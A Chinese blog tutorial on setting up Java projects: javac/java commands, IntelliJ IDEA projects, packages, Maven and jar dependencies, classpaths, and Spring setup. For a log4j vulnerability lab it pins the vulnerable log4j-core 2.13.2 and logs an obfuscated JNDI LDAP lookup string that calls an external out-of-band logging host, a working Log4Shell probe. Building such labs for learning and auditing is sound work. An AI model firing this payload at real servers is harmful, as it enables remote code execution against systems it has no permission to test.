引言
学习工作中经常会遇到java相关的项目工程, 本篇文章主要是想分享一下如何搭建一个java环境。
其实我在接触java项目的过程中,最直接的阻碍,并不是java语法的理解, 也不是框架的使用,这些直接网上查询就可以得到。 但是对于java项目如何搭建起来的,如果运行的,或者是如何添加项目依赖的,这些确实是让java初学者比较头痛。
触发我写这篇文章的一个最直接的应用场景是:
在遇到一个简单的源码审计问题的时候,只有源代码,不提供依赖,这个时候如何在项目中引入依赖,然后把代码在本地跑起来,这样就可以调试并快速审计或定位问题了。
这篇文章主要关注以下场景的问题:
- 如何新建一个简单的java工程项目(例如用于leetcode刷题)
- 如何引入外部依赖并运行(例如新建一个使用到log4j 的靶场环境并运行)
- 如何新建一个spring源码项目并为其添加依赖。
- 给定一个源码(如spring相关项目),如何为这个项目添加依赖,本地运行。
顺便提一下,对笔者自己来说,引入java外部依赖是个难题。 之前有过c++ 和python 相关的项目经历,在实际应用中,搭建c++,python环境都比较容易,引入外部依赖也比较方便。
- 对于c++项目来说,使用c++编译器来编译运行代码, 一般需要通过 #include 的方式来引入外部依赖的头文件。
- 对于python项目来说, 也都需要配置一个python解释器,如果有什么需要引用外部的库, 直接使用 pip install命令就可以方便的使用各种库的功能了。
- 对于java项目来说,编译运行java程序需要使用到jdk; 引用外部依赖, 可以先下载jar包再引用, 也可以使用maven 工程来配置好依赖后自动下载。
如何在linux中编译运行java程序
- 我们来学习一下如何在linux中使用java 命令编译执行一个简单的程序。
- 假设已经安装并配置好了java 环境
- 创建一个名为HelloJava.java的文件, 然后文件中编辑一个类HelloJava.java;
注意: 文件名要和类名要保持一致,否则会编译出错
, 但是我们知道在c++和python 中都没有这样的限制。
public class HelloJava{
public static void main(String[] args) {
System.out.println("Nice to meet you!");
}
}
javac HelloJava.java
- 执行下面命令, 可以运行HelloJava.class,但是注意,命令中需要把
.class
去掉。
java HelloJava
IDEA中新建一个简单的java工程项目并运行
上面我们学习了使用java命令行来编译运行java程序,这是最基础的执行步骤。但是在我们的日常开发中,项目通常会在一个集成开发环境中完成,下面我们学习一下如何在IDEA新建一个简单的java工程项目。
-
打开idea–> File-> New-> Project
-
选择创建一个简单的java项目, 在Project sdk
中选择自己提前下载安装好的jdk路径
-
点击继续, project name 可以自己定义,例如 demo.
-
成功创建一个java项目后, 项目下有idea和src两个目录,我们主要在src目录下操作。在src目录新建一个包package, 然后新建一个HelloJava类, 然后点击运行,即可观察到结果。
package aaa.bbb;
public class HelloJava{
public static void main(String[] args) {
System.out.println("Nice to meet you!");
}
}
知识点: 什么是package?
其实对于初学者,可能会使用不到package, 因为我们刚开始学习的时候,一般都是几个简单的类文件,我们稍微注意一下,就不会导致类名冲突这样的问题。但是,随着工程的不断扩大, 我们可能会遇到这样的场景:
- 类的名称太多了, 可能会有类名称冲突
- 类的定义太多了,我想按照某种逻辑分类, 把相似的类名称放在一起。
这个时候,我们就可以使用package了。
包允许将类组合成较小的单元(类似文件夹),它基本上隐藏了类,并避免了名称上的冲突。包允许在更广泛的范围内保护类、数据和方法。你可以在包内定义类,而在包外的代码不能访问该类。这使你的类相互之间有隐私,但不被其他世界所知。
包的作用如下:
区分相同名称的类。
能够较好地管理大量的类。
控制访问范围。
包(package)的使用要点如下:
- 包名全部使用小写字母
- 多个层次使用
.
分隔
- 一般会由倒置的域名开头,比如 com.baidu,不要有 www。
- 不能java开头。
- 使用 import 语句导入指定包下某个类的用法按如下:
import example.MyClass;
- 使用 import 语句导入指定包下全部类的用法按如下:
import example.*;
- Java 默认为所有源文件导入 java.lang 包下的所有类,因此前面在 Java 程序中使用 String、System 类时都无须使用 import 语句来导入这些类。但对于前面介绍数组时提到的 Arrays 类,其位于 java.util 包下,则必须使用 import 语句来导入该类。
IDEA中如何引入外部依赖并运行
加入我们遇到下面的场景:
为了验证log4j的漏洞, 我们想搭建一个简单的log4j靶场环境。 这里,我们介绍两种方法来引入log4j的外部依赖环境: 1. 手工下载log4j的jar包并引入; 2.通过maven环境引入log4j依赖;
maven引入log4j jar包
-
创建maven工程 : File > new > project > Maven > 创建项目名称为log4j_test
-
IDEA会生成项目, 其中有pom.xml文件, 初始内容状态为:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j_test</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
</project>
如果我们想加入log4j的jar依赖,我们需要添加:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.2</version>
</dependency>
</dependencies>
然后,我们就可以愉快的引入log4j的外部依赖了, 我们可以编辑代码来实现自己的需求。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test1{
private static final Logger logger = LogManager.getLogger(org.apache.logging.log4j.Logger.class);
public static void main(String[] args) {
logger.error("hello world asdf.");
logger.error("$${lookupName:key:${lower:env}}");
logger.error("${env:aaa:-444444}");
logger.error("${base64:SGVsbG8gV29ybGQhCg==}");
logger.error("${log4j:configParentLocation}");
logger.error("$${lower:{${java:os}}");
logger.error("${upper:DhhASD}");
logger.error("${java:os}");
logger.error("${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}");
}
}
- 这里引出一个疑问: 如果我们只知道三方库的名字, 如何快速查询到maven中的引用方式呢?
方法如下:
- 访问Maven中央仓,例如访问:https://mvnrepository.com/
- 搜索需要引入的三方库名称,例如搜索log4j
- 点击进去,选择合适的版本,例如选择2.12.3
- 页面会给出maven的引用方式,复制到pom.xml中即可。例如:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.3</version>
</dependency>
手工引入log4j jar包
上面我们介绍了使用maven的方式来引入外部依赖,但是其实我们也可以手工下载jar包,然后手工引入, 这样其实就不需要使用maven项目了, 下面我们来实践一下。
-
访问maven中央仓,并搜索下载自己想要的jar包到本地。
-
下面我们就需要在IDEA中配置引入下载的jar包了, 具体步骤如下
点击 file > Project Structure > Modules > 点击+ > JARs or Directories > 添加存放自己下载jar包的路径
3. 下面我们就可以在工程项目中引用这个jar包的外部依赖了
如何使用命令行的方式添加外部依赖
假如遇到如下的场景:
windows 下写了一个java类并编译成class文件,现在想把这个程序放到linux下执行。但是我在程序中引入了外部依赖, 这样的话,由于缺少外部依赖,是无法直接在linux中运行的。
问题一: 如何在运行java程序时候,命令行指定依赖:
可以使用如下的示例:(个人理解绝对路径和相对路径都是可以的)
java -cp .:绝对路径1.jar:绝对路径2.jar 全限定类名(此类有main方法)
java -cp other.jar:demo-0.0.1-SNAPSHOT.jar com.javapc.demo.test.Test
问题二: 如何在编译的时候指定依赖
javac -cp 绝对路径1.jar:绝对路径2.jar java文件名.java
如何新建一个spring源码项目并为其添加依赖
我们在上文介绍了创建java项目以及引入依赖的通用方法。在实际的web项目中,spring框架的使用还是非常常见的, 下面介绍下spring项目的搭建方法,spring 项目中一般会使用maven来管理外部依赖。
-
New > Project > 选中Maven
-
右击项目 > Add FrameWork Support > 添加一下spring 框架支持。
-
对于spring相关依赖,可以在pom.xml中按需加入,比如:
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>4.3.0.RELEASE</version>
</dependency>
</dependencies>
- 接下来,我们就可以在项目中使用spring 来搭建java web工程了
package net.biancheng.c;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
HelloWorld obj = context.getBean("helloWorld", HelloWorld.class);
obj.getMessage();
System.out.println(System.getProperty("user.dir"));
}
}
给定一个spring工程源码,如何pom.xml添加依赖,本地运行。
我们有可能后遇到这样的一个场景:
我们拿到了一个spring项目的源码,pom.xml文件可能是缺失的,我们需要使用IDEA搭建可运行环境用于调试。
我们可以采取如下的步骤:
- Add Framework Support添加spring框架支持。
- Add Framework Support添加maven框架支持,这个会自动生成一个pom.xml文件。
- 设置JDK路径
- 根据代码来设置package
- pom.xml 添加spring boot相关依赖。
可能会遇到以下问题:
总结
动手实践了以上的java项目搭建过程,就熟悉了java项目开发流程。 这样,我们可以快速的调试运行起来其他人开发的项目,也可以快速的自己搭建环境进行java开发。
参考资料:
http://c.biancheng.net/view/5611.html
https://blog.csdn.net/weixin_45987729/article/details/124216168
http://c.biancheng.net/view/6084.html
https://juejin.cn/post/6954950905909215268
https://www.jianshu.com/p/4bff72c7e71b